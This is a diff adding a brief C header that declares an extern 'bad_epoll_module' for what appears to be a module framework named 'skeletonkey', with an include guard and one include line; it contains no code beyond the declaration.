+#ifndef BAD_EPOLL_SKELETONKEY_MODULES_H
+#define BAD_EPOLL_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module bad_epoll_module;
+
+#endif